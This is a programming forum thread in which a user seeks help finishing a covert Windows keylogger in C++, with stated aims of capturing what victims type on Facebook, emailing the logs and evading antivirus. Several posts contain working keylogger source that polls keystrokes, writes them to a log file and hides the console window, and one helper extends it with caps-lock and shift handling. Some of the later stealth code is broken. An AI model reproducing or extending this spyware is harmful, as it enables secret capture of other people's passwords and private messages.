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Keylogger in C++

Matevsz (9)
Hello, I created a keylogger in C ++, and it is no problem, now needs only 4 things:

- That the keys are pressed there was only CAPS: /
- When someone enters eg. On Facebook where you have written it came
- To transmit an e-mail and that the log was written one below the other and not in a continuous line.
- That it was not visible in the system and not detectable by antivirus.

Sorry for my english :D
jasonwynn10 (412)
please post your code.
Matevsz (9)
Why?, needs only these 4 things, but please:

#include <iostream>
#include <fstream>
using namespace std;

#include <windows.h>
#include <Winuser.h>


int save (int key_stroke, char *file){
if((key_stroke == 1) || (key_stroke == 2)) return 0; //ignore mouse 1 and 2.

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

if(key_stroke == 8) fprintf(OUTPUT_FILE, "%s", "[BACKSPACE] ");
else if(key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " ");
else if(key_stroke == 18) fprintf(OUTPUT_FILE, "%s", "[ALT] ");
else if(key_stroke == 91) fprintf(OUTPUT_FILE, "%s", "[WINDOWS] ");
else if(key_stroke == 17) fprintf(OUTPUT_FILE, "%s", "[CONTROL] ");
else if(key_stroke == 16) fprintf(OUTPUT_FILE, "%s", "[SHIFT] ");
else if(key_stroke == 20) fprintf(OUTPUT_FILE, "%s", "[CAPS LOCK] ");
else if(key_stroke == 9) fprintf(OUTPUT_FILE, "%s", "[TAB] ");
else if(key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n");
else if(key_stroke == 36) fprintf(OUTPUT_FILE, "%s", "[HOME] ");
else if(key_stroke == 35) fprintf(OUTPUT_FILE, "%s", "[END] ");
else if(key_stroke == 46) fprintf(OUTPUT_FILE, "%s", "[DELETE] ");
else if(key_stroke == 33) fprintf(OUTPUT_FILE, "%s", "[PAGE UP] ");
else if(key_stroke == 45) fprintf(OUTPUT_FILE, "%s", "[INSERT] ");
else if(key_stroke == 34) fprintf(OUTPUT_FILE, "%s", "[PAGE DOWN] ");

else fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose(OUTPUT_FILE);
cout << key_stroke << endl;

return 0;
}

void stealth (){ //hides the window
HWND stealth;
AllocConsole();
stealth = FindWindowA("consoleWindowClass", NULL);
ShowWindow(stealth, 0);
}

int main(){
stealth();
char i;
while(1){
for (i = 8; i<=190; i++){ //only these ascii values
if (GetAsyncKeyState(i) == -32767)
save(i, "LOG.TXT");
}
}
system("PAUSE");
return 0;}
jasonwynn10 (412)
I just use this to get a base of what could interfere with the variables i use.
you know, most of this is actually writen in C, right?
Last edited on
jasonwynn10 (412)
I have the caps lock checker in place and added a shift checker.
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#include <iostream>
#include <fstream>
#include <windows.h>
#include <Winuser.h>
using namespace std;
bool CheckCapsState(){
   if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0) return true;
   else return false;
}

int save (int key_stroke, char *file){
if((key_stroke == 1) || (key_stroke == 2) || (key_stroke == 3) || (key_stroke == 4)) return 0; ///ignore mouse 1 and 2. *You forgot the buttons 3 and 4*

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
if(CheckCapsState()==true){
     if(key_stroke == 8 ) fprintf(OUTPUT_FILE, "%s", " [BACKSPACE] ");
else if(key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " ");
else if(key_stroke == 18) fprintf(OUTPUT_FILE, "%s", " [ALT] ");
else if(key_stroke == 91) fprintf(OUTPUT_FILE, "%s", " [WINDOWS] ");
else if(key_stroke == 17) fprintf(OUTPUT_FILE, "%s", " [CONTROL] ");
else if(key_stroke == 16) fprintf(OUTPUT_FILE, "%s", " [SHIFT] ");
else if(key_stroke == 20) fprintf(OUTPUT_FILE, "%s", " [CAPS LOCK] ");
else if(key_stroke == 9 ) fprintf(OUTPUT_FILE, "%s", " [TAB] ");
else if(key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n");
else if(key_stroke == 36) fprintf(OUTPUT_FILE, "%s", " [HOME] ");
else if(key_stroke == 35) fprintf(OUTPUT_FILE, "%s", " [END] ");
else if(key_stroke == 46) fprintf(OUTPUT_FILE, "%s", " [DELETE] ");
else if(key_stroke == 33) fprintf(OUTPUT_FILE, "%s", " [PAGE UP] ");
else if(key_stroke == 45) fprintf(OUTPUT_FILE, "%s", " [INSERT] ");
else if(key_stroke == 34) fprintf(OUTPUT_FILE, "%s", " [PAGE DOWN] ");
else if(key_stroke == 38) fprintf(OUTPUT_FILE, "%s", " [UP ARROW] ");
else if(key_stroke == 40) fprintf(OUTPUT_FILE, "%s", " [DOWN ARROW] ");
else if(key_stroke == 37) fprintf(OUTPUT_FILE, "%s", " [LEFT ARROW] ");
else if(key_stroke == 39) fprintf(OUTPUT_FILE, "%s", " [RIGHT ARROW] ");
else fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose(OUTPUT_FILE);
cout << key_stroke << endl;
}else{
     if(key_stroke == 16 || key_stroke == 8 ) fprintf(OUTPUT_FILE, "%s", " [SHIFT] [BACKSPACE] ");
else if(key_stroke == 16 || key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " [SHIFT] ");
else if(key_stroke == 16 || key_stroke == 18) fprintf(OUTPUT_FILE, "%s", " [SHIFT] [ALT] ");
else if(key_stroke == 16 || key_stroke == 91) fprintf(OUTPUT_FILE, "%s", " [SHIFT] [WINDOWS] ");
else if(key_stroke == 16 || key_stroke == 17) fprintf(OUTPUT_FILE, "%s", " [SHIFT] [CONTROL] ");
else if(key_stroke == 16) fprintf(OUTPUT_FILE, "%s", " [SHIFT] ");
else if(key_stroke == 16 || key_stroke == 20) fprintf(OUTPUT_FILE, "%s", " [SHIFT] [CAPS LOCK] ");
else if(key_stroke == 16 || key_stroke == 9 ) fprintf(OUTPUT_FILE, "%s", " [SHIFT] [TAB] ");
else if(key_stroke == 16 || key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n");
else if(key_stroke == 16 || key_stroke == 36) fprintf(OUTPUT_FILE, "%s", " [SHIFT] [HOME] ");
else if(key_stroke == 16 || key_stroke == 35) fprintf(OUTPUT_FILE, "%s", " [SHIFT] [END] ");
else if(key_stroke == 16 || key_stroke == 46) fprintf(OUTPUT_FILE, "%s", " [SHIFT] [DELETE] ");
else if(key_stroke == 16 || key_stroke == 33) fprintf(OUTPUT_FILE, "%s", " [SHIFT] [PAGE UP] ");
else if(key_stroke == 16 || key_stroke == 45) fprintf(OUTPUT_FILE, "%s", " [SHIFT] [INSERT] ");
else if(key_stroke == 16 || key_stroke == 34) fprintf(OUTPUT_FILE, "%s", " [SHIFT] [PAGE DOWN] ");
else if(key_stroke == 16 || key_stroke == 38) fprintf(OUTPUT_FILE, "%s", " [UP ARROW] ");
else if(key_stroke == 16 || key_stroke == 40) fprintf(OUTPUT_FILE, "%s", " [DOWN ARROW] ");
else if(key_stroke == 16 || key_stroke == 37) fprintf(OUTPUT_FILE, "%s", " [LEFT ARROW] ");
else if(key_stroke == 16 || key_stroke == 39) fprintf(OUTPUT_FILE, "%s", " [RIGHT ARROW] ");
else fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose(OUTPUT_FILE);
cout << key_stroke << endl;
}
return 0;
}

void stealth (){ ///hides the window
HWND stealth;
AllocConsole();
stealth = FindWindowA("consoleWindowClass", NULL);
ShowWindow(stealth, 0);
}

int main(){
///stealth();
char i;
while(1){
for (i = 8; i<=190; i++){ ///only these ascii values
if (GetAsyncKeyState(i) == -32767)
save(i, "LOG.TXT");
}
}
system("PAUSE");
return 0;}
Last edited on
jasonwynn10 (412)
that is all the help that i can offer, i don't know any way of doing what you want for 2,3, and 4. sorry i couldn't help more.
Aceix (1118)
The emailing aspect will definitely require a library with networking support so you could check it out.

Aceix.
Matevsz (9)
HELP :( ERROR:


cout << key_stronke << end1;

[Error] 'end' was not declared in this scope

and error

#include <iostream>

In function 'int main()':
In function 'int save(int, char*):

HELP :(


@Edit

I swapped 'end1' on 1 and working (I think so... :D)

new error:

#include and

save(i,"LOG.TXT");

[Warning] deprecated conversion from string constant to 'char*' [-Wwrite-strings]

:/


And how to add this piece of code to the entire code? if you have something to add to it?

HWND hWindow = GetForegroundWindow();
int textLength = GetWindowTextLengthA(hWnd) + 1;
char text[textLength];
GetWindowTextA(hWnd, text, textLength);

/|\
/ | \
|

This is code on "- When someone enters eg. On Facebook where you have written it came"
Last edited on
HalfNOoB (108)
Hi, I'm not sure what you mean by end1

I suppose you mean the std::endl which creates a new line in your console application. You can compare it to "\n", but they aren't 100% the same.

You probably want cout << key_stroke << endl; since you are using Namespace...
Matevsz (9)
cout << key_stroke << end1; not working

so i swapped cout << key_stroke << end1; on cout << key_stroke << 1; and 0 error but I do not know if you know works.

And where paste this code to check the website where someone entered?

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HWND hWindow = GetForegroundWindow();
int textLength = GetWindowTextLengthA(hWnd) + 1;
char text[textLength];
GetWindowTextA(hWnd, text, textLength);
HalfNOoB (108)
You maybe wont get any errors using 1, but you it wont do as shown in the youtube tutorial you are using... Its not std::end1 (1 is ONE a number) but std::endl (l is a letter (small L) and endl means endline). The only difference is that your console wont end the line after each keystroke.

So the ouput console will currently look like this:
2518552818835417

And with std::endl(ine) it woulf look like this:
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18
55
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18
83
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17

If you probably want to create an ASCII-Map std::endl(ine) will help you :)

If i remember correctly the tutorial was to arouse caution inside you and not to hack te accs from other people. If you are trying to seriously learn c++ you should be able to unferstand this code in a few weeks. If its for learning c++ ignore the last paragraph...
Matevsz (9)
I wrote two types of hiding the program in the background, just do not know how well so it gives to check:

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#include <stdio.h>
#include <windows.h>

int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ){
gcc program.c -mwindows -o program
void Stealth()
{
	HWND stealth;
	AllocConsole();
	stealth = FindWindowA("ConsoleWindowClass", NULL);
	ShowWindow(stealth,0);
}
}


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#include <stdio.h>
#include <windows.h>

void findAndHide( void ) {
	
HWND window;
window = FindWindow( "notepad", NULL );
}

int main(void){
findAndHide();
system( "pause");
}


and how to use this code to check the website :

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HWND hWindow = GetForegroundWindow();
int textLength = GetWindowTextLengthA(hWnd) + 1;
char text[textLength];
GetWindowTextA(hWnd, text, textLength);
jasonwynn10 (412)
your code: 
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#include <stdio.h>
#include <windows.h>

void findAndHide( void ) {
	
HWND window;
window = FindWindow( "notepad", NULL );
}

int main(void){
findAndHide();
system( "pause");
}

does not work for me.
what you will want to do is search for he files specific name, then hide it if it's open.
Last edited on
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